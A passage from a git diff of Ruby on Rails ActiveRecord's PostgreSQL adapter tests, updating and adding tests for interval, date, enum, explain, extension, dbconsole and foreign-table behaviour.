+  # Declare attributes to get rid from deprecation warnings on ActiveRecord 6.1
+  attribute :time_interval,        :string
+  attribute :scaled_time_interval, :interval
 end
 
 class PostgresqlOid < ActiveRecord::Base
@@ -11,10 +16,8 @@ class PostgresqlLtree < ActiveRecord::Base
 end
 
 class PostgresqlDataTypeTest < ActiveRecord::PostgreSQLTestCase
-  self.use_transactional_tests = false
-
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
 
     @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
     @first_time = PostgresqlTime.find(1)
@@ -37,23 +40,23 @@ def test_data_type_of_oid_types
   end
 
   def test_time_values
-    assert_equal "-1 years -2 days", @first_time.time_interval
-    assert_equal "-21 days", @first_time.scaled_time_interval
-  end
-
-  def test_oid_values
-    assert_equal 1234, @first_oid.obj_id
+    assert_equal "P-1Y-2D", @first_time.time_interval
+    assert_equal (-21.day), @first_time.scaled_time_interval
   end
 
-  def test_update_time
-    @first_time.time_interval = "2 years 3 minutes"
+  def test_update_large_time_in_seconds
+    @first_time.scaled_time_interval = 70.years.to_f
     assert @first_time.save
     assert @first_time.reload
-    assert_equal "2 years 00:03:00", @first_time.time_interval
+    assert_equal 70.years, @first_time.scaled_time_interval
+  end
+
+  def test_oid_values
+    assert_equal 1234, @first_oid.obj_id
   end
 
   def test_update_oid
-    new_value = 567890
+    new_value = 2147483648
     @first_oid.obj_id = new_value
     assert @first_oid.save
     assert @first_oid.reload
@@ -62,7 +65,7 @@ def test_update_oid
 
   def test_text_columns_are_limitless_the_upper_limit_is_one_GB
     assert_equal "text", @connection.type_to_sql(:text, limit: 100_000)
-    assert_raise ActiveRecord::ActiveRecordError do
+    assert_raise ArgumentError do
       @connection.type_to_sql(:text, limit: 4294967295)
     end
   end
@@ -72,7 +75,7 @@ class PostgresqlInternalDataTypeTest < ActiveRecord::PostgreSQLTestCase
   include DdlHelper
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def test_name_column_type
diff --git a/activerecord/test/cases/adapters/postgresql/date_test.rb b/activerecord/test/cases/adapters/postgresql/date_test.rb
new file mode 100644
index 0000000000000..cb9f3be5187a1
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/date_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class PostgresqlDateTest < ActiveRecord::PostgreSQLTestCase
+  def test_load_infinity_and_beyond
+    topic = Topic.find_by_sql("SELECT 'infinity'::date AS last_read").first
+    assert_predicate topic.last_read, :infinite?, "timestamp should be infinite"
+    assert_operator topic.last_read, :>, 0
+
+    topic = Topic.find_by_sql("SELECT '-infinity'::date AS last_read").first
+    assert_predicate topic.last_read, :infinite?, "timestamp should be infinite"
+    assert_operator topic.last_read, :<, 0
+  end
+
+  def test_save_infinity_and_beyond
+    topic = Topic.create!(last_read: 1.0 / 0.0)
+    assert_equal(1.0 / 0.0, topic.last_read)
+
+    topic = Topic.create!(last_read: -1.0 / 0.0)
+    assert_equal(-1.0 / 0.0, topic.last_read)
+  end
+
+  def test_bc_date
+    date = Date.new(0) - 1.week
+    topic = Topic.create!(last_read: date)
+    assert_equal date, Topic.find(topic.id).last_read
+  end
+
+  def test_bc_date_leap_year
+    date = Time.utc(-4, 2, 29).to_date
+    topic = Topic.create!(last_read: date)
+    assert_equal date, Topic.find(topic.id).last_read
+  end
+
+  def test_bc_date_year_zero
+    date = Time.utc(0, 4, 7).to_date
+    topic = Topic.create!(last_read: date)
+    assert_equal date, Topic.find(topic.id).last_read
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/dbconsole_test.rb b/activerecord/test/cases/adapters/postgresql/dbconsole_test.rb
new file mode 100644
index 0000000000000..9e6af8f9009d3
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/dbconsole_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/method_call_assertions"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgresqlDbConsoleTest < ActiveRecord::PostgreSQLTestCase
+      include ActiveSupport::Testing::MethodCallAssertions
+
+      ENV_VARS = %w(PGUSER PGHOST PGPORT PGPASSWORD PGSSLMODE PGSSLCERT PGSSLKEY PGSSLROOTCERT PGOPTIONS)
+
+      def run(*)
+        preserve_pg_env do
+          super
+        end
+      end
+
+      def test_postgresql
+        config = make_db_config(adapter: "postgresql", database: "db")
+
+        assert_find_cmd_and_exec_called_with(["psql", "db"]) do
+          PostgreSQLAdapter.dbconsole(config)
+        end
+      end
+
+      def test_postgresql_full
+        config = make_db_config(
+          adapter: "postgresql",
+          database: "db",
+          username: "user",
+          password: "q1w2e3",
+          host: "host",
+          port: 5432,
+        )
+
+        assert_find_cmd_and_exec_called_with(["psql", "db"]) do
+          PostgreSQLAdapter.dbconsole(config)
+        end
+
+        assert_equal "user", ENV["PGUSER"]
+        assert_equal "host", ENV["PGHOST"]
+        assert_equal "5432", ENV["PGPORT"]
+        assert_not_equal "q1w2e3", ENV["PGPASSWORD"]
+      end
+
+      def test_postgresql_with_ssl
+        config = make_db_config(adapter: "postgresql", database: "db", sslmode: "verify-full", sslcert: "client.crt", sslkey: "client.key", sslrootcert: "root.crt")
+
+        assert_find_cmd_and_exec_called_with(["psql", "db"]) do
+          PostgreSQLAdapter.dbconsole(config)
+        end
+
+        assert_equal "verify-full", ENV["PGSSLMODE"]
+        assert_equal "client.crt", ENV["PGSSLCERT"]
+        assert_equal "client.key", ENV["PGSSLKEY"]
+        assert_equal "root.crt", ENV["PGSSLROOTCERT"]
+      end
+
+      def test_postgresql_include_password
+        config = make_db_config(adapter: "postgresql", database: "db", username: "user", password: "q1w2e3")
+
+        assert_find_cmd_and_exec_called_with(["psql", "db"]) do
+          PostgreSQLAdapter.dbconsole(config, include_password: true)
+        end
+
+        assert_equal "user", ENV["PGUSER"]
+        assert_equal "q1w2e3", ENV["PGPASSWORD"]
+      end
+
+      def test_postgresql_include_variables
+        config = make_db_config(adapter: "postgresql", database: "db", variables: { search_path: "my_schema, default, \\my_schema", statement_timeout: 5000, lock_timeout: ":default" })
+
+        assert_find_cmd_and_exec_called_with(["psql", "db"]) do
+          PostgreSQLAdapter.dbconsole(config)
+        end
+
+        assert_equal "-c search_path=my_schema,\\ default,\\ \\\\my_schema -c statement_timeout=5000", ENV["PGOPTIONS"]
+      end
+
+      def test_postgresql_can_use_alternative_cli
+        ActiveRecord.database_cli[:postgresql] = "pgcli"
+        config = make_db_config(adapter: "postgresql", database: "db")
+
+        assert_find_cmd_and_exec_called_with(["pgcli", "db"]) do
+          PostgreSQLAdapter.dbconsole(config)
+        end
+      ensure
+        ActiveRecord.database_cli[:postgresql] = "psql"
+      end
+
+      private
+        def preserve_pg_env
+          old_values = ENV_VARS.map { |var| ENV[var] }
+          yield
+        ensure
+          ENV_VARS.zip(old_values).each { |var, value| ENV[var] = value }
+        end
+
+        def make_db_config(config)
+          ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", config)
+        end
+
+        def assert_find_cmd_and_exec_called_with(args, &block)
+          assert_called_with(PostgreSQLAdapter, :find_cmd_and_exec, args, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/deferred_constraints_test.rb b/activerecord/test/cases/adapters/postgresql/deferred_constraints_test.rb
new file mode 100644
index 0000000000000..a97a199c8abf8
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/deferred_constraints_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+
+class PostgresqlDeferredConstraintsTest < ActiveRecord::PostgreSQLTestCase
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @fk = @connection.foreign_keys("authors").first.name
+    @other_fk = @connection.foreign_keys("lessons_students").first.name
+  end
+
+  def test_defer_constraints
+    assert_raises ActiveRecord::InvalidForeignKey do
+      @connection.set_constraints(:deferred)
+      assert_nothing_raised do
+        Author.create!(author_address_id: -1, name: "John Doe")
+      end
+      @connection.set_constraints(:immediate)
+    end
+  end
+
+  def test_defer_constraints_with_specific_fk
+    assert_raises ActiveRecord::InvalidForeignKey do
+      @connection.set_constraints(:deferred, @fk)
+      assert_nothing_raised do
+        Author.create!(author_address_id: -1, name: "John Doe")
+      end
+      @connection.set_constraints(:immediate, @fk)
+    end
+  end
+
+  def test_defer_constraints_with_multiple_fks
+    assert_raises ActiveRecord::InvalidForeignKey do
+      @connection.set_constraints(:deferred, @other_fk, @fk)
+      assert_nothing_raised do
+        Author.create!(author_address_id: -1, name: "John Doe")
+      end
+      @connection.set_constraints(:immediate, @other_fk, @fk)
+    end
+  end
+
+  def test_defer_constraints_only_defers_single_fk
+    @connection.set_constraints(:deferred, @other_fk)
+    assert_raises ActiveRecord::InvalidForeignKey do
+      Author.create!(author_address_id: -1, name: "John Doe")
+    end
+  end
+
+  def test_set_constraints_requires_valid_value
+    assert_raises ArgumentError do
+      @connection.set_constraints(:invalid)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb
index f1eb8adb151d3..0f740539f69ff 100644
--- a/activerecord/test/cases/adapters/postgresql/domain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
@@ -9,7 +11,7 @@ class PostgresqlDomain < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.transaction do
       @connection.execute "CREATE DOMAIN custom_money as numeric(8,2)"
       @connection.create_table("postgresql_domains") do |t|
@@ -28,10 +30,10 @@ def test_column
     column = PostgresqlDomain.columns_hash["price"]
     assert_equal :decimal, column.type
     assert_equal "custom_money", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlDomain.type_for_attribute("price")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_domain_acts_like_basetype
@@ -42,6 +44,6 @@ def test_domain_acts_like_basetype
     record.price = "34.15"
     record.save!
 
-    assert_equal BigDecimal.new("34.15"), record.reload.price
+    assert_equal BigDecimal("34.15"), record.reload.price
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb
index 5e5a3158ba592..a1aa3174dd3be 100644
--- a/activerecord/test/cases/adapters/postgresql/enum_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb
@@ -1,19 +1,28 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
+require "support/schema_dumping_helper"
 
 class PostgresqlEnumTest < ActiveRecord::PostgreSQLTestCase
   include ConnectionHelper
+  include SchemaDumpingHelper
 
   class PostgresqlEnum < ActiveRecord::Base
     self.table_name = "postgresql_enums"
+
+    enum :current_mood, {
+      sad: "sad",
+      okay: "ok", # different spelling
+      happy: "happy",
+      aliased_field: "happy"
+    }, prefix: true
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.transaction do
-      @connection.execute <<-SQL
-        CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy');
-      SQL
+      @connection.create_enum("mood", ["sad", "ok", "happy"])
       @connection.create_table("postgresql_enums") do |t|
         t.column :current_mood, :mood
       end
@@ -21,8 +30,9 @@ def setup
   end
 
   teardown do
+    reset_connection
     @connection.drop_table "postgresql_enums", if_exists: true
-    @connection.execute "DROP TYPE IF EXISTS mood"
+    @connection.drop_enum "mood", if_exists: true
     reset_connection
   end
 
@@ -30,10 +40,10 @@ def test_column
     column = PostgresqlEnum.columns_hash["current_mood"]
     assert_equal :enum, column.type
     assert_equal "mood", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlEnum.type_for_attribute("current_mood")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_enum_defaults
@@ -60,10 +70,9 @@ def test_enum_mapping
   def test_invalid_enum_update
     @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
     enum = PostgresqlEnum.first
-    enum.current_mood = "angry"
 
-    assert_raise ActiveRecord::StatementInvalid do
-      enum.save
+    assert_raise ArgumentError do
+      enum.current_mood = "angry"
     end
   end
 
@@ -71,7 +80,7 @@ def test_no_oid_warning
     @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
     stderr_output = capture(:stderr) { PostgresqlEnum.first }
 
-    assert stderr_output.blank?
+    assert_predicate stderr_output, :blank?
   end
 
   def test_enum_type_cast
@@ -88,4 +97,197 @@ def test_assigning_enum_to_nil
     assert model.save
     assert_nil model.reload.current_mood
   end
+
+  def test_schema_dump
+    @connection.add_column "postgresql_enums", "good_mood", :mood, default: "happy", null: false
+
+    output = dump_table_schema("postgresql_enums")
+
+    assert_includes output, "# Note that some types may not work with other database engines. Be careful if changing database."
+
+    assert_includes output, 'create_enum "mood", ["sad", "ok", "happy"]'
+
+    assert_includes output, 't.enum "current_mood", enum_type: "mood"'
+    assert_includes output, 't.enum "good_mood", default: "happy", null: false, enum_type: "mood"'
+  end
+
+  def test_schema_dump_renamed_enum
+    @connection.rename_enum :mood, :feeling
+
+    output = dump_table_schema("postgresql_enums")
+
+    assert_includes output, 'create_enum "feeling", ["sad", "ok", "happy"]'
+
+    assert_includes output, 't.enum "current_mood", enum_type: "feeling"'
+  end
+
+  def test_schema_dump_renamed_enum_with_to_option
+    @connection.rename_enum :mood, to: :feeling
+
+    output = dump_table_schema("postgresql_enums")
+
+    assert_includes output, 'create_enum "feeling", ["sad", "ok", "happy"]'
+
+    assert_includes output, 't.enum "current_mood", enum_type: "feeling"'
+  end
+
+  def test_schema_dump_added_enum_value
+    skip("Adding enum values can not be run in a transaction") if @connection.database_version < 10_00_00
+
+    @connection.add_enum_value :mood, :angry, before: :ok
+    @connection.add_enum_value :mood, :nervous, after: :ok
+    @connection.add_enum_value :mood, :glad
+
+    assert_nothing_raised do
+      @connection.add_enum_value :mood, :glad, if_not_exists: true
+      @connection.add_enum_value :mood, :curious, if_not_exists: true
+    end
+
+    output = dump_table_schema("postgresql_enums")
+
+    assert_includes output, 'create_enum "mood", ["sad", "angry", "ok", "nervous", "happy", "glad", "curious"]'
+  end
+
+  def test_schema_dump_renamed_enum_value
+    skip("Renaming enum values is only supported in PostgreSQL 10 or later") if @connection.database_version < 10_00_00
+
+    @connection.rename_enum_value :mood, from: :ok, to: :okay
+
+    output = dump_table_schema("postgresql_enums")
+
+    assert_includes output, 'create_enum "mood", ["sad", "okay", "happy"]'
+  end
+
+  def test_schema_load
+    original, $stdout = $stdout, StringIO.new
+
+    ActiveRecord::Schema.define do
+      create_enum :color, ["blue", "green"]
+
+      change_table :postgresql_enums do |t|
+        t.enum :best_color, enum_type: "color", default: "blue", null: false
+      end
+    end
+
+    assert @connection.column_exists?(:postgresql_enums, :best_color, sql_type: "color", default: "blue", null: false)
+  ensure
+    $stdout = original
+  end
+
+  def test_drop_enum
+    @connection.create_enum :unused, []
+
+    assert_nothing_raised do
+      @connection.drop_enum "unused"
+    end
+
+    assert_nothing_raised do
+      @connection.drop_enum "unused", if_exists: true
+    end
+
+    assert_raises ActiveRecord::StatementInvalid do
+      @connection.drop_enum "unused"
+    end
+  end
+
+  def test_works_with_activerecord_enum
+    model = PostgresqlEnum.create!
+    model.current_mood_okay!
+
+    model = PostgresqlEnum.find(model.id)
+    assert_equal "okay", model.current_mood
+
+    model.current_mood = "happy"
+    model.save!
+
+    model = PostgresqlEnum.find(model.id)
+    assert_predicate model, :current_mood_happy?
+  end
+
+  def test_enum_type_scoped_to_schemas
+    with_test_schema("test_schema") do
+      @connection.create_enum("mood_in_other_schema", ["sad", "ok", "happy"])
+
+      assert_nothing_raised do
+        @connection.create_table("postgresql_enums_in_other_schema") do |t|
+          t.column :current_mood, :mood_in_other_schema, default: "happy", null: false
+        end
+      end
+
+      assert @connection.table_exists?("postgresql_enums_in_other_schema")
+    end
+  end
+
+  def test_enum_type_explicit_schema
+    @connection.create_schema("test_schema")
+    @connection.create_enum("test_schema.mood_in_other_schema", ["sad", "ok", "happy"])
+
+    @connection.create_table("test_schema.postgresql_enums_in_other_schema") do |t|
+      t.column :current_mood, "test_schema.mood_in_other_schema"
+    end
+
+    assert @connection.table_exists?("test_schema.postgresql_enums_in_other_schema")
+
+    assert_nothing_raised do
+      @connection.drop_table("test_schema.postgresql_enums_in_other_schema")
+      @connection.drop_enum("test_schema.mood_in_other_schema")
+    end
+  ensure
+    @connection.drop_schema("test_schema", if_exists: true)
+  end
+
+  def test_schema_dump_scoped_to_schemas
+    @connection.create_schema("other_schema")
+    @connection.create_enum("other_schema.mood_in_other_schema", ["sad", "ok", "happy"])
+
+    with_test_schema("test_schema") do
+      @connection.create_enum("mood_in_test_schema", ["sad", "ok", "happy"])
+      @connection.create_table("postgresql_enums_in_test_schema") do |t|
+        t.column :current_mood, :mood_in_test_schema
+      end
+
+      output = dump_table_schema("postgresql_enums_in_test_schema")
+
+      assert_includes output, 'create_enum "public.mood", ["sad", "ok", "happy"]'
+      assert_includes output, 'create_enum "test_schema.mood_in_test_schema", ["sad", "ok", "happy"]'
+      assert_includes output, 't.enum "current_mood", enum_type: "mood_in_test_schema"'
+      assert_not_includes output, 'create_enum "other_schema.mood_in_other_schema"'
+    end
+  ensure
+    @connection.drop_schema("other_schema")
+  end
+
+  def test_schema_load_scoped_to_schemas
+    silence_stream($stdout) do
+      with_test_schema("test_schema", drop: false) do
+        ActiveRecord::Schema.define do
+          create_enum "mood_in_test_schema", ["sad", "ok", "happy"]
+          create_enum "public.mood", ["sad", "ok", "happy"]
+
+          create_table "postgresql_enums_in_test_schema", force: :cascade do |t|
+            t.enum "current_mood", enum_type: "mood_in_test_schema"
+          end
+        end
+
+        assert @connection.column_exists?(:postgresql_enums_in_test_schema, :current_mood, sql_type: "mood_in_test_schema")
+      end
+
+      # This is outside `with_test_schema`, so we need to explicitly specify which schema we query
+      assert @connection.column_exists?("test_schema.postgresql_enums_in_test_schema", :current_mood, sql_type: "test_schema.mood_in_test_schema")
+    end
+  ensure
+    @connection.drop_schema("test_schema")
+  end
+
+  private
+    def with_test_schema(name, drop: true)
+      old_search_path = @connection.schema_search_path
+      @connection.create_schema(name)
+      @connection.schema_search_path = "#{name}, public"
+      yield
+    ensure
+      @connection.drop_schema(name) if drop
+      @connection.schema_search_path = old_search_path
+      @connection.schema_cache.clear!
+    end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
index 7493bce4fba9d..119c9196e6feb 100644
--- a/activerecord/test/cases/adapters/postgresql/explain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -1,20 +1,47 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/developer"
-require "models/computer"
+require "models/author"
+require "models/post"
 
 class PostgreSQLExplainTest < ActiveRecord::PostgreSQLTestCase
-  fixtures :developers
+  fixtures :authors, :author_addresses
 
   def test_explain_for_one_query
-    explain = Developer.where(id: 1).explain
-    assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    explain = Author.where(id: 1).explain.inspect
+    assert_match %r(EXPLAIN SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
     assert_match %(QUERY PLAN), explain
   end
 
   def test_explain_with_eager_loading
-    explain = Developer.where(id: 1).includes(:audit_logs).explain
+    explain = Author.where(id: 1).includes(:posts).explain.inspect
+    assert_match %(QUERY PLAN), explain
+    assert_match %r(EXPLAIN SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    assert_match %r(EXPLAIN SELECT "posts"\.\* FROM "posts" WHERE "posts"\."author_id" = (?:\$1 \[\["author_id", 1\]\]|1)), explain
+  end
+
+  def test_explain_with_options_as_symbols
+    explain = Author.where(id: 1).explain(:analyze, :buffers).inspect
+    assert_match %r(EXPLAIN \(ANALYZE, BUFFERS\) SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    assert_match %(QUERY PLAN), explain
+  end
+
+  def test_explain_with_options_as_strings
+    explain = Author.where(id: 1).explain("VERBOSE", "ANALYZE", "FORMAT JSON").inspect
+    assert_match %r(EXPLAIN \(VERBOSE, ANALYZE, FORMAT JSON\) SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
     assert_match %(QUERY PLAN), explain
-    assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
-    assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain
+  end
+
+  def test_explain_options_with_eager_loading
+    explain = Author.where(id: 1).includes(:posts).explain(:analyze).inspect
+    assert_match %(QUERY PLAN), explain
+    assert_match %r(EXPLAIN \(ANALYZE\) SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\$1 \[\["id", 1\]\]|1)), explain
+    assert_match %r(EXPLAIN \(ANALYZE\) SELECT "posts"\.\* FROM "posts" WHERE "posts"\."author_id" = (?:\$1 \[\["author_id", 1\]\]|1)), explain
+  end
+
+  def test_explain_format_option
+    explain = Author.all.explain(format: :json).inspect
+
+    assert_match(/\{.*\}/m, explain)
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
index b56c22676311f..8f3ade766a8fb 100644
--- a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlExtensionMigrationTest < ActiveRecord::PostgreSQLTestCase
@@ -15,32 +17,34 @@ def change
     end
   end
 
+  class EnableHstoreInSchema < ActiveRecord::Migration::Current
+    def change
+      enable_extension "other_schema.hstore"
+    end
+  end
+
   def setup
     super
 
-    @connection = ActiveRecord::Base.connection
-
-    unless @connection.supports_extensions?
-      return skip("no extension support")
-    end
+    @connection = ActiveRecord::Base.lease_connection
+    @pool = ActiveRecord::Base.connection_pool
 
-    @old_schema_migration_table_name = ActiveRecord::SchemaMigration.table_name
     @old_table_name_prefix = ActiveRecord::Base.table_name_prefix
     @old_table_name_suffix = ActiveRecord::Base.table_name_suffix
 
     ActiveRecord::Base.table_name_prefix = "p_"
     ActiveRecord::Base.table_name_suffix = "_s"
-    ActiveRecord::SchemaMigration.delete_all rescue nil
-    ActiveRecord::SchemaMigration.table_name = "p_schema_migrations_s"
+
+    @pool.schema_migration.delete_all_versions rescue nil
     ActiveRecord::Migration.verbose = false
   end
 
   def teardown
+    @pool.schema_migration.delete_all_versions rescue nil
+    ActiveRecord::Migration.verbose = true
+
     ActiveRecord::Base.table_name_prefix = @old_table_name_prefix
     ActiveRecord::Base.table_name_suffix = @old_table_name_suffix
-    ActiveRecord::SchemaMigration.delete_all rescue nil
-    ActiveRecord::Migration.verbose = true
-    ActiveRecord::SchemaMigration.table_name = @old_schema_migration_table_name
 
     super
   end
@@ -49,15 +53,54 @@ def test_enable_extension_migration_ignores_prefix_and_suffix
     @connection.disable_extension("hstore")
 
     migrations = [EnableHstore.new(nil, 1)]
-    ActiveRecord::Migrator.new(:up, migrations).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @pool.schema_migration, @pool.internal_metadata).migrate
+    assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+  end
+
+  def test_enable_extension_migration_with_schema
+    @connection.disable_extension("hstore")
+    @connection.create_schema "other_schema"
+
+    migrations = [EnableHstoreInSchema.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations, @pool.schema_migration, @pool.internal_metadata).migrate
+
     assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+  ensure
+    @connection.drop_schema "other_schema", if_exists: true
   end
 
+
   def test_disable_extension_migration_ignores_prefix_and_suffix
     @connection.enable_extension("hstore")
 
     migrations = [DisableHstore.new(nil, 1)]
-    ActiveRecord::Migrator.new(:up, migrations).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @pool.schema_migration, @pool.internal_metadata).migrate
+    assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+  end
+
+  def test_disable_extension_raises_when_dependent_objects_exist
+    @connection.enable_extension("hstore")
+    @connection.create_table(:hstores) do |t|
+      t.hstore :settings
+    end
+
+    error = assert_raises(StandardError) do
+      @connection.disable_extension(:hstore)
+    end
+    assert_match(/cannot drop extension hstore because other objects depend on it/i, error.message)
+  ensure
+    @connection.drop_table(:hstores, if_exists: true)
+  end
+
+  def test_disable_extension_drops_extension_when_cascading
+    @connection.enable_extension("hstore")
+    @connection.create_table(:hstores) do |t|
+      t.hstore :settings
+    end
+
+    @connection.disable_extension(:hstore, force: :cascade)
     assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+  ensure
+    @connection.drop_table(:hstores, if_exists: true)
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/foreign_table_test.rb b/activerecord/test/cases/adapters/postgresql/foreign_table_test.rb
new file mode 100644
index 0000000000000..a235dea110e4f
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/foreign_table_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/professor"
+
+if ActiveRecord::Base.lease_connection.supports_foreign_tables?
+  class ForeignTableTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class ForeignProfessor < ActiveRecord::Base
+      self.table_name = "foreign_professors"
+    end
+
+    class ForeignProfessorWithPk < ForeignProfessor
+      self.primary_key = "id"
+    end
+
+    def setup
+      @professor = Professor.create(name: "Nicola")
+
+      @connection = ActiveRecord::Base.lease_connection
+      enable_extension!("postgres_fdw", @connection)
+
+      foreign_db_config = ARTest.test_configuration_hashes["arunit2"]
+      @connection.execute <<~SQL
+        CREATE SERVER foreign_server
+          FOREIGN DATA WRAPPER postgres_fdw
+          OPTIONS (dbname '#{foreign_db_config["database"]}')
+      SQL
+
+      @connection.execute <<~SQL
+        CREATE USER MAPPING FOR CURRENT_USER
+          SERVER foreign_server
+      SQL
+
+      @connection.execute <<~SQL
+        CREATE FOREIGN TABLE foreign_professors (
+          id    int,
+          name  character varying NOT NULL
+        ) SERVER foreign_server OPTIONS (
+          table_name 'professors'
+        )
+      SQL
+    end
+
+    def teardown
+      disable_extension!("postgres_fdw", @connection)
+      @connection.execute <<~SQL
+        DROP SERVER IF EXISTS foreign_server CASCADE
+      SQL
+    end
+
+    def test_table_exists
+      table_name = ForeignProfessor.table_name
+      assert_not ActiveRecord::Base.lease_connection.table_exists?(table_name)
+    end
+
+    def test_foreign_tables_are_valid_data_sources
+      table_name = ForeignProfessor.table_name
+      assert @connection.data_source_exists?(table_name), "'#{table_name}' should be a data source"
+    end
+
+    def test_foreign_tables
+      assert_equal ["foreign_professors"], @connection.foreign_tables
+    end
+
+    def test_foreign_table_exists
+      assert @connection.foreign_table_exists?("foreign_professors")
+      assert @connection.foreign_table_exists?(:foreign_professors)
+      assert_not @connection.foreign_table_exists?("nonexistingtable")
+      assert_not @connection.foreign_table_exists?("'")
+      assert_not @connection.foreign_table_exists?(nil)
+    end
+
+    def test_attribute_names
+      assert_equal ["id", "name"], ForeignProfessor.attribute_names
+    end
+
+    def test_attributes
+      professor = ForeignProfessorWithPk.find(@professor.id)
+      assert_equal @professor.attributes, professor.attributes
+    end
+
+    def test_does_not_have_a_primary_key
+      assert_nil ForeignProfessor.primary_key
+    end
+
+    def test_insert_record
+      # Explicit `id` here to avoid complex configurations to implicitly work with remote table
+      ForeignProfessorWithPk.create!(id: 100, name: "Leonardo")
+
+      professor = ForeignProfessorWithPk.last
+      assert_equal "Leonardo", professor.name
+    end
+
+    def test_update_record
+      professor = ForeignProfessorWithPk.find(@professor.id)
+      professor.name = "Albert"
+      professor.save!
+      professor.reload
+      assert_equal "Albert", professor.name
+    end
+
+    def test_delete_record
+      professor = ForeignProfessorWithPk.find(@professor.id)
+      assert_difference("ForeignProfessor.count", -1) { professor.destroy }
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/full_text_test.rb b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
index 5ddfe32007ba3..6ddec3980db3d 100644
--- a/activerecord/test/cases/adapters/postgresql/full_text_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -6,7 +8,7 @@ class PostgresqlFullTextTest < ActiveRecord::PostgreSQLTestCase
   class Tsvector < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("tsvectors") do |t|
       t.tsvector "text_vector"
     end
@@ -20,10 +22,10 @@ def test_tsvector_column
     column = Tsvector.columns_hash["text_vector"]
     assert_equal :tsvector, column.type
     assert_equal "tsvector", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = Tsvector.type_for_attribute("text_vector")
